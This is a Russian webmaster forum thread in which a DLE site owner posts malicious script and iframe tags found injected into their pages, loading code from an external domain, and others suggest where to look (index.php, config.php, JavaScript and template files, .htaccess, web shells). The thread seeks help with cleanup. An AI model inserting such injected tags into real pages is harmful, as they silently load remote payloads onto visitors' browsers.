Форум Сайтостроение Безопасность

Вредоносный код на DLE

H
На сайте с 19.03.2009
Offline
91
happydeadz
937

Нашел следующий код в самом верху страницы

<nofollow>

<script type="text/javascript" async="" src="http://www.google-analytics.com/ga.js"></script>

<script type="text/javascript" async="" src="http://mc.yandex.ru/metrika/watch.js"></script><script language="JavaScript" src="http://npk4pag368.bestfree.pw/infob.php?i=xxxxx"></script>

<iframe src="http://npk4pag368.bestfree.pw/slb.php?i=xxxxx"></iframe></nofollow>

Все файлы были перезалиты из бекапа, результата 0, поиск по бд пока ничего не дает, кто нить с таким сталкивался?

Спасибо

KU
На сайте с 17.07.2008
Offline
251
Vitalii Polishchuk
#1

Возможно в бекапе уже этот код был. index.php смотрели?

Хостинг ( https://good-host.net ) / Linux VPS ( https://good-host.net/vps ) / Windows VPS ( https://good-host.net/windows-vps ) / Выделенные серверы ( https://good-host.net/dedicated ) 14 лет онлайн!
R
На сайте с 24.01.2008
Offline
180
Алексей
#2

ТС коды могут находится в любом месте, дистанционно помочь тут вряд ли получится, нужно смотреть сам код движка.

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
H
На сайте с 19.03.2009
Offline
91
happydeadz
#3

В коде бекапа я уверен, точно чистый проверял, да и опять же, я проверил время модификации всех файлов, все было в порядке, значит вероятнее всего в базе...

W
На сайте с 11.07.2010
Offline
56
wetik
#4

Проверь сайт на шеллы, вчера у самого непонятным образом на 2х DLE сайтах ниоткуда вредоносное ПО появилось.

K
На сайте с 27.03.2011
Offline
52
k0missar
#5
happydeadz:
Нашел следующий код в самом верху страницы

<nofollow>
<script type="text/javascript" async="" src="http://www.google-analytics.com/ga.js"></script>
<script type="text/javascript" async="" src="http://mc.yandex.ru/metrika/watch.js"></script><script language="JavaScript" src="http://npk4pag368.bestfree.pw/infob.php?i=xxxxx"></script>
<iframe src="http://npk4pag368.bestfree.pw/slb.php?i=xxxxx"></iframe></nofollow>

Все файлы были перезалиты из бекапа, результата 0, поиск по бд пока ничего не дает, кто нить с таким сталкивался?

Спасибо

У моего друга была подобная проблема... Вирусняк засел в .js файлах. Он тоже долго мучался. Проверьте все .js файлы.

Все для вебмастера CMS, Плагины, Хаки по прямой ссылке (http://wmaster.guru/)
S
На сайте с 23.05.2011
Offline
29
saidrustam
#6

Тоже часто хакеры мои ДЛЕ сайты вирусом и ссылками спамят. index.php, config.php файлы и js файлы, также файлы шаблона надо смотреть.

иногда в htaccess ссылки ставят.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий